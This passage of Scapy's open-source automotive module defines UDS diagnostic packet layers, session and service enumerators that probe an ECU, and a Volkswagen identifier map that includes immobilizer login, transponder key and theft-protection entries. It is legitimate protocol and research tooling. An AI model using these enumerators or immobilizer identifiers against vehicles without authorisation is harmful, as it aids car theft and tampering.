pkt: pkt.memorySizeLen == 1), ConditionalField(XShortField('memorySize2', 0), lambda pkt: pkt.memorySizeLen == 2), ConditionalField(X3BytesField('memorySize3', 0), lambda pkt: pkt.memorySizeLen == 3), ConditionalField(XIntField('memorySize4', 0), lambda pkt: pkt.memorySizeLen == 4) ] @staticmethod def get_log(pkt): addr = getattr(pkt, "memoryAddress%d" % pkt.memoryAddressLen) size = getattr(pkt, "memorySize%d" % pkt.memorySizeLen) return pkt.sprintf("%UDS.service%"), (addr, size) bind_layers(UDS, UDS_RD, service=0x34) class UDS_RDPR(Packet): name = 'RequestDownloadPositiveResponse' fields_desc = [ BitField('memorySizeLen', 0, 4), BitField('reserved', 0, 4), StrField('maxNumberOfBlockLength', 0, fmt="B"), ] def answers(self, other): return other.__class__ == UDS_RD @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), pkt.memorySizeLen bind_layers(UDS, UDS_RDPR, service=0x74) # #########################RU################################### class UDS_RU(Packet): name = 'RequestUpload' fields_desc = [ ByteEnumField('dataFormatIdentifier', 0, UDS_RD.dataFormatIdentifiers), BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), ConditionalField(XByteField('memoryAddress1', 0), lambda pkt: pkt.memoryAddressLen == 1), ConditionalField(XShortField('memoryAddress2', 0), lambda pkt: pkt.memoryAddressLen == 2), ConditionalField(X3BytesField('memoryAddress3', 0), lambda pkt: pkt.memoryAddressLen == 3), ConditionalField(XIntField('memoryAddress4', 0), lambda pkt: pkt.memoryAddressLen == 4), ConditionalField(XByteField('memorySize1', 0), lambda pkt: pkt.memorySizeLen == 1), ConditionalField(XShortField('memorySize2', 0), lambda pkt: pkt.memorySizeLen == 2), ConditionalField(X3BytesField('memorySize3', 0), lambda pkt: pkt.memorySizeLen == 3), ConditionalField(XIntField('memorySize4', 0), lambda pkt: pkt.memorySizeLen == 4) ] @staticmethod def get_log(pkt): addr = getattr(pkt, "memoryAddress%d" % pkt.memoryAddressLen) size = getattr(pkt, "memorySize%d" % pkt.memorySizeLen) return pkt.sprintf("%UDS.service%"), (addr, size) bind_layers(UDS, UDS_RU, service=0x35) class UDS_RUPR(Packet): name = 'RequestUploadPositiveResponse' fields_desc = [ BitField('memorySizeLen', 0, 4), BitField('reserved', 0, 4), StrField('maxNumberOfBlockLength', 0, fmt="B"), ] def answers(self, other): return other.__class__ == UDS_RU @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), pkt.memorySizeLen bind_layers(UDS, UDS_RUPR, service=0x75) # #########################TD################################### class UDS_TD(Packet): name = 'TransferData' fields_desc = [ ByteField('blockSequenceCounter', 0), StrField('transferRequestParameterRecord', 0, fmt="B") ] @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"),\ (pkt.blockSequenceCounter, pkt.transferRequestParameterRecord) bind_layers(UDS, UDS_TD, service=0x36) class UDS_TDPR(Packet): name = 'TransferDataPositiveResponse' fields_desc = [ ByteField('blockSequenceCounter', 0), StrField('transferResponseParameterRecord', 0, fmt="B") ] def answers(self, other): return other.__class__ == UDS_TD \ and other.blockSequenceCounter == self.blockSequenceCounter @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), pkt.blockSequenceCounter bind_layers(UDS, UDS_TDPR, service=0x76) # #########################RTE################################### class UDS_RTE(Packet): name = 'RequestTransferExit' fields_desc = [ StrField('transferRequestParameterRecord', 0, fmt="B") ] @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"),\ pkt.transferRequestParameterRecord bind_layers(UDS, UDS_RTE, service=0x37) class UDS_RTEPR(Packet): name = 'RequestTransferExitPositiveResponse' fields_desc = [ StrField('transferResponseParameterRecord', 0, fmt="B") ] def answers(self, other): return other.__class__ == UDS_RTE @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"),\ pkt.transferResponseParameterRecord bind_layers(UDS, UDS_RTEPR, service=0x77) # #########################IOCBI################################### class UDS_IOCBI(Packet): name = 'InputOutputControlByIdentifier' dataIdentifiers = ObservableDict() fields_desc = [ XShortEnumField('dataIdentifier', 0, dataIdentifiers), ByteField('controlOptionRecord', 0), StrField('controlEnableMaskRecord', 0, fmt="B") ] @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), pkt.dataIdentifier bind_layers(UDS, UDS_IOCBI, service=0x2F) class UDS_IOCBIPR(Packet): name = 'InputOutputControlByIdentifierPositiveResponse' fields_desc = [ XShortField('dataIdentifier', 0), StrField('controlStatusRecord', 0, fmt="B") ] def answers(self, other): return other.__class__ == UDS_IOCBI \ and other.dataIdentifier == self.dataIdentifier @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), pkt.dataIdentifier bind_layers(UDS, UDS_IOCBIPR, service=0x6F) # #########################NR################################### class UDS_NR(Packet): negativeResponseCodes = { 0x00: 'positiveResponse', 0x10: 'generalReject', 0x11: 'serviceNotSupported', 0x12: 'subFunctionNotSupported', 0x13: 'incorrectMessageLengthOrInvalidFormat', 0x14: 'responseTooLong', 0x20: 'ISOSAEReserved', 0x21: 'busyRepeatRequest', 0x22: 'conditionsNotCorrect', 0x23: 'ISOSAEReserved', 0x24: 'requestSequenceError', 0x25: 'noResponseFromSubnetComponent', 0x26: 'failurePreventsExecutionOfRequestedAction', 0x31: 'requestOutOfRange', 0x33: 'securityAccessDenied', 0x35: 'invalidKey', 0x36: 'exceedNumberOfAttempts', 0x37: 'requiredTimeDelayNotExpired', 0x70: 'uploadDownloadNotAccepted', 0x71: 'transferDataSuspended', 0x72: 'generalProgrammingFailure', 0x73: 'wrongBlockSequenceCounter', 0x78: 'requestCorrectlyReceived-ResponsePending', 0x7E: 'subFunctionNotSupportedInActiveSession', 0x7F: 'serviceNotSupportedInActiveSession', 0x80: 'ISOSAEReserved', 0x81: 'rpmTooHigh', 0x82: 'rpmTooLow', 0x83: 'engineIsRunning', 0x84: 'engineIsNotRunning', 0x85: 'engineRunTimeTooLow', 0x86: 'temperatureTooHigh', 0x87: 'temperatureTooLow', 0x88: 'vehicleSpeedTooHigh', 0x89: 'vehicleSpeedTooLow', 0x8a: 'throttle/PedalTooHigh', 0x8b: 'throttle/PedalTooLow', 0x8c: 'transmissionRangeNotInNeutral', 0x8d: 'transmissionRangeNotInGear', 0x8e: 'ISOSAEReserved', 0x8f: 'brakeSwitch(es)NotClosed', 0x90: 'shifterLeverNotInPark', 0x91: 'torqueConverterClutchLocked', 0x92: 'voltageTooHigh', 0x93: 'voltageTooLow', } name = 'NegativeResponse' fields_desc = [ XByteEnumField('requestServiceId', 0, UDS.services), ByteEnumField('negativeResponseCode', 0, negativeResponseCodes) ] def answers(self, other): return self.requestServiceId == other.service and \ (self.negativeResponseCode != 0x78 or conf.contribs['UDS']['treat-response-pending-as-answer']) @staticmethod def get_log(pkt): return pkt.sprintf("%UDS.service%"), \ (pkt.sprintf("%UDS_NR.requestServiceId%"), pkt.sprintf("%UDS_NR.negativeResponseCode%")) bind_layers(UDS, UDS_NR, service=0x7f) # ################################################################## # ######################## UTILS ################################### # ################################################################## class UDS_TesterPresentSender(PeriodicSenderThread): def __init__(self, sock, pkt=UDS() / UDS_TP(), interval=2): """ Thread to send TesterPresent messages packets periodically Args: sock: socket where packet is sent periodically pkt: packet to send interval: interval between two packets """ PeriodicSenderThread.__init__(self, sock, pkt, interval) def UDS_SessionEnumerator(sock, session_range=range(0x100), reset_wait=1.5): """ Enumerates session ID's in given range and returns list of UDS()/UDS_DSC() packets with valid session types Args: sock: socket where packets are sent session_range: range for session ID's reset_wait: wait time in sec after every packet """ pkts = (req for tup in product(UDS() / UDS_DSC(diagnosticSessionType=session_range), UDS() / UDS_ER(resetType='hardReset')) for req in tup) results, _ = sock.sr(pkts, timeout=len(session_range) * reset_wait * 2 + 1, verbose=False, inter=reset_wait) return [req for req, res in results if req is not None and req.service != 0x11 and (res.service == 0x50 or res.negativeResponseCode not in [0x10, 0x11, 0x12])] def UDS_ServiceEnumerator(sock, session="DefaultSession", filter_responses=True): """ Enumerates every service ID and returns list of tuples. Each tuple contains the session and the respective positive response Args: sock: socket where packet is sent periodically session: session in which the services are enumerated """ pkts = (UDS(service=x) for x in set(x & ~0x40 for x in range(0x100))) found_services = sock.sr(pkts, timeout=5, verbose=False) return [(session, p) for _, p in found_services[0] if p.service != 0x7f or (p.negativeResponseCode not in [0x10, 0x11] or not filter_responses)] def getTableEntry(tup): """ Helping function for make_lined_table. Returns the session and response code of tup. Args: tup: tuple with session and UDS response package Example: make_lined_table([('DefaultSession', UDS()/UDS_SAPR(), 'ExtendedDiagnosticSession', UDS()/UDS_IOCBI())], getTableEntry) """ session, pkt = tup if pkt.service == 0x7f: return (session, "0x%02x: %s" % (pkt.requestServiceId, pkt.sprintf("%UDS_NR.requestServiceId%")), pkt.sprintf("%UDS_NR.negativeResponseCode%")) else: return (session, "0x%02x: %s" % (pkt.service & ~0x40, pkt.get_field('service'). i2s[pkt.service & ~0x40]), "PositiveResponse") scapy-2.4.4/scapy/contrib/automotive/volkswagen/000077500000000000000000000000001372370053500220005ustar00rootroot00000000000000scapy-2.4.4/scapy/contrib/automotive/volkswagen/__init__.py000066400000000000000000000004701372370053500241120ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip """ Package of contrib automotive bmw specific modules that have to be loaded explicitly. """ scapy-2.4.4/scapy/contrib/automotive/volkswagen/definitions.py000066400000000000000000010243501372370053500246720ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # Copyright (C) Jonas Schmidt # This program is published under a GPLv2 license # scapy.contrib.description = Volkswagen specific definitions for UDS # scapy.contrib.status = skip from scapy.contrib.automotive.uds import UDS_RDBI, UDS_RC, UDS_RD UDS_RDBI.dataIdentifiers[0x00bd] = "Theft Protection - Download GFA-Key" UDS_RDBI.dataIdentifiers[0x00be] = "Theft Protection - Download IKA-Key" UDS_RDBI.dataIdentifiers[0x00fd] = "IUMPR-ID3" UDS_RDBI.dataIdentifiers[0x00fe] = "IUMPR-ID2" UDS_RDBI.dataIdentifiers[0x00ff] = "IUMPR-ID1" UDS_RDBI.dataIdentifiers[0x02cc] = "Vehicle_identification_number_provisional" UDS_RDBI.dataIdentifiers[0x02e0] = "Immobilizer - Challenge" UDS_RDBI.dataIdentifiers[0x02e1] = "Immobilizer - Login" UDS_RDBI.dataIdentifiers[0x02e2] = "Immobilizer - Download Powertrain" UDS_RDBI.dataIdentifiers[0x02e3] = "Immobilizer - Download IMS" UDS_RDBI.dataIdentifiers[0x02e4] = "Transponder ID current Key" UDS_RDBI.dataIdentifiers[0x02e5] = "Transponder ID Key 1" UDS_RDBI.dataIdentifiers[0x02e6] = "Transponder ID Key 2" UDS_RDBI.dataIdentifiers[0x02e7] = "Transponder ID Key 3" UDS_RDBI.dataIdentifiers[0x02e8] = "Transponder ID Key 4" UDS_RDBI.dataIdentifiers[0x02e9] = "Transponder ID Key 5" UDS_RDBI.dataIdentifiers[0x02ea] = "Transponder ID Key 6" UDS_RDBI.dataIdentifiers[0x02eb] = "Transponder ID Key 7" UDS_RDBI.dataIdentifiers[0x02ec] = "Transponder ID Key 8" UDS_RDBI.dataIdentifiers[0x02ed] = "State of Immobilizer" UDS_RDBI.dataIdentifiers[0x02ee] = "State of Immobilizer Slaves" UDS_RDBI.dataIdentifiers[0x02ef] = "State Blocking Time" UDS_RDBI.dataIdentifiers[0x02f1] = "Immobilizer - Slave Login" UDS_RDBI.dataIdentifiers[0x02f6] = "Download WFS SHE" UDS_RDBI.dataIdentifiers[0x02f9] = "CRC32 Checksum of FAZIT Identification String" UDS_RDBI.dataIdentifiers[0x02fa] = "Adapted_transponders_checksum" UDS_RDBI.dataIdentifiers[0x02fb] = "Immobilizer - Download WFS 4" UDS_RDBI.dataIdentifiers[0x02ff] = "Immobilizer_snapshot" UDS_RDBI.dataIdentifiers[0x0407] = "VW Logical Software Block Counter Of Programming Attempts" UDS_RDBI.dataIdentifiers[0x040f] = "VW Logical Software Block Lock Value" UDS_RDBI.dataIdentifiers[0x0410] = "Bootloader TP Blocksize" UDS_RDBI.dataIdentifiers[0x04a3] = "Gateway Component List" UDS_RDBI.dataIdentifiers[0x0600] = "VW Coding Value" UDS_RDBI.dataIdentifiers[0x0610] = "Control_unit_for_wiper_motor_Coding_Values" UDS_RDBI.dataIdentifiers[0x0611] = "Slave_list_VW_spare_part_number" UDS_RDBI.dataIdentifiers[0x0612] = "Slave_list_VW_software_version_number" UDS_RDBI.dataIdentifiers[0x0613] = "Slave_list_VW_ecu_hardware_version_number" UDS_RDBI.dataIdentifiers[0x0614] = "Slave_list_VW_hardware_number" UDS_RDBI.dataIdentifiers[0x0615] = "Slave_list_ecu_serial_number" UDS_RDBI.dataIdentifiers[0x0616] = "Slave_list_VW_FAZIT_identification_string" UDS_RDBI.dataIdentifiers[0x0617] = "Slave_list_VW_system_name_or_engine_type" UDS_RDBI.dataIdentifiers[0x0618] = "Left_rear_seat_ventilation_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x0619] = "Right_rear_seat_ventilation_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x061a] = "Slave_component_list" UDS_RDBI.dataIdentifiers[0x061b] = "Slave_component_list_databus_identification" UDS_RDBI.dataIdentifiers[0x061c] = "Slave_component_list_ecu_identification" UDS_RDBI.dataIdentifiers[0x061d] = "Slave_component_list_present" UDS_RDBI.dataIdentifiers[0x061e] = "Right_headlamp_power_output_stage_Coding_Values" UDS_RDBI.dataIdentifiers[0x061f] = "Sensor_for_anti_theft_alarm_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x0620] = "Rear_lid_control_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x0621] = "Alarm_horn_Coding_Values" UDS_RDBI.dataIdentifiers[0x0622] = "Automatic_day_night_interior_mirror_Coding_Values" UDS_RDBI.dataIdentifiers[0x0623] = "Sun_roof_Coding_Values" UDS_RDBI.dataIdentifiers[0x0624] = "Steering_column_lock_actuator_Coding_Values" UDS_RDBI.dataIdentifiers[0x0625] = "Anti_theft_tilt_system_control_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x0626] = "Tire_pressure_monitor_antenna_Coding_Values" UDS_RDBI.dataIdentifiers[0x0627] = "Heated_windshield_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x0628] = "Rear_light_left_1_Coding_Values" UDS_RDBI.dataIdentifiers[0x0629] = "Ceiling_light_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x062a] = "Left_front_massage_seat_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x062b] = "Right_front_massage_seat_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x062c] = "Control_module_for_auxiliary_air_heater_Coding_Values" UDS_RDBI.dataIdentifiers[0x062d] = "Ioniser_Coding_Values" UDS_RDBI.dataIdentifiers[0x062e] = "Multi_function_steering_wheel_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x062f] = "Left_rear_door_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x0630] = "Right_rear_door_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x0631] = "Left_rear_massage_seat_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x0632] = "Right_rear_massage_seat_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x0633] = "Display_unit_1_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x0634] = "Battery_monitoring_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x0635] = "Roof_blind_Coding_Values" UDS_RDBI.dataIdentifiers[0x0636] = "Sun_roof_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x0637] = "Display_unit_2_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x0638] = "Telephone_handset_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x0639] = "Traffic_data_aerial_Coding_Values" UDS_RDBI.dataIdentifiers[0x063a] = "Chip_card_reader_control_module_Coding_Values" UDS_RDBI.dataIdentifiers[0x063b] = "Hands_free_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x063c] = "Telephone_handset_Coding_Values" UDS_RDBI.dataIdentifiers[0x063d] = "Display_unit_front_for_multimedia_system_Coding_Values" UDS_RDBI.dataIdentifiers[0x063e] = "Multimedia_operating_unit_Coding_Values" UDS_RDBI.dataIdentifiers[0x063f] = "Digital_sound_system_control_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x0640] = "Control_unit_for_wiper_motor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0641] = "Rain_light_recognition_sensor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0642] = "Light_switch_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0643] = "Garage_door_opener_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0644] = "Garage_door_opener_operating_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0645] = "Ignition_key_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0646] = "Left_front_seat_ventilation_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0647] = "Right_front_seat_ventilation_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0648] = "Left_rear_seat_ventilation_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0649] = "Right_rear_seat_ventilation_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x064a] = "Data_medium_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x064b] = "Drivers_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x064c] = "Front_passengers_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x064d] = "Left_headlamp_power_output_stage_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x064e] = "Right_headlamp_power_output_stage_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x064f] = "Sensor_for_anti_theft_alarm_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0650] = "Rear_lid_control_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0651] = "Alarm_horn_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0652] = "Automatic_day_night_interior_mirror_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0653] = "Sun_roof_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0654] = "Steering_column_lock_actuator_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0655] = "Anti_theft_tilt_system_control_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0656] = "Tire_pressure_monitor_antenna_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0657] = "Heated_windshield_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0658] = "Rear_light_left_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0659] = "Ceiling_light_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x065a] = "Left_front_massage_seat_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x065b] = "Right_front_massage_seat_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x065c] = "Control_module_for_auxiliary_air_heater_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x065d] = "Ioniser_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x065e] = "Multi_function_steering_wheel_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x065f] = "Left_rear_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0660] = "Right_rear_door_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0661] = "Left_rear_massage_seat_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0662] = "Right_rear_massage_seat_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0663] = "Display_unit_1_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0664] = "Battery_monitoring_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0665] = "Roof_blind_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0666] = "Sun_roof_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0667] = "Display_unit_2_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0668] = "Telephone_handset_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0669] = "Traffic_data_aerial_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x066a] = "Chip_card_reader_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x066b] = "Hands_free_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x066c] = "Telephone_handset_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x066d] = "Display_unit_front_for_multimedia_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x066e] = "Multimedia_operating_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x066f] = "Digital_sound_system_control_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x0670] = "Control_unit_for_wiper_motor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0671] = "Rain_light_recognition_sensor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0672] = "Light_switch_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0673] = "Garage_door_opener_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0674] = "Garage_door_opener_operating_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0675] = "Ignition_key_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0676] = "Left_front_seat_ventilation_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0677] = "Right_front_seat_ventilation_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0678] = "Left_rear_seat_ventilation_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0679] = "Right_rear_seat_ventilation_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x067a] = "Data_medium_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x067b] = "Drivers_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x067c] = "Front_passengers_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x067d] = "Left_headlamp_power_output_stage_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x067e] = "Right_headlamp_power_output_stage_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x067f] = "Sensor_for_anti_theft_alarm_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0680] = "Rear_lid_control_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0681] = "Alarm_horn_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0682] = "Automatic_day_night_interior_mirror_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0683] = "Sun_roof_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0684] = "Steering_column_lock_actuator_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0685] = "Anti_theft_tilt_system_control_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0686] = "Tire_pressure_monitor_antenna_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0687] = "Heated_windshield_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0688] = "Rear_light_left_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0689] = "Ceiling_light_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x068a] = "Left_front_massage_seat_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x068b] = "Right_front_massage_seat_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x068c] = "Control_module_for_auxiliary_air_heater_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x068d] = "Ioniser_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x068e] = "Multi_function_steering_wheel_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x068f] = "Left_rear_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0690] = "Right_rear_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0691] = "Left_rear_massage_seat_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0692] = "Right_rear_massage_seat_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0693] = "Display_unit_1_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0694] = "Battery_monitoring_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0695] = "Roof_blind_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0696] = "Sun_roof_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0697] = "Display_unit_2_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0698] = "Telephone_handset_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x0699] = "Traffic_data_aerial_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x069a] = "Chip_card_reader_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x069b] = "Hands_free_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x069c] = "Telephone_handset_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x069d] = "Display_unit_front_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x069e] = "Multimedia_operating_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x069f] = "Digital_sound_system_control_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x06a0] = "Control_unit_for_wiper_motor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a1] = "Rain_light_recognition_sensor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a2] = "Light_switch_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a3] = "Garage_door_opener_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a4] = "Garage_door_opener_operating_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a5] = "Ignition_key_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a6] = "Left_front_seat_ventilation_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a7] = "Right_front_seat_ventilation_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a8] = "Left_rear_seat_ventilation_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06a9] = "Right_rear_seat_ventilation_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06aa] = "Data_medium_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06ab] = "Drivers_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06ac] = "Front_passengers_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06ad] = "Left_headlamp_power_output_stage_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06ae] = "Right_headlamp_power_output_stage_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06af] = "Sensor_for_anti_theft_alarm_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b0] = "Rear_lid_control_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b1] = "Alarm_horn_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b2] = "Automatic_day_night_interior_mirror_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b3] = "Sun_roof_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b4] = "Steering_column_lock_actuator_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b5] = "Anti_theft_tilt_system_control_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b6] = "Tire_pressure_monitor_antenna_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b7] = "Heated_windshield_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b8] = "Rear_light_left_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06b9] = "Ceiling_light_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06ba] = "Left_front_massage_seat_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06bb] = "Right_front_massage_seat_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06bc] = "Control_module_for_auxiliary_air_heater_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06bd] = "Ioniser_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06be] = "Multi_function_steering_wheel_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06bf] = "Left_rear_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c0] = "Right_rear_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c1] = "Left_rear_massage_seat_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c2] = "Right_rear_massage_seat_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c3] = "Display_unit_1_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c4] = "Battery_monitoring_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c5] = "Roof_blind_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c6] = "Sun_roof_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c7] = "Display_unit_2_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06c8] = "Telephone_handset_2_Hardware_Number" 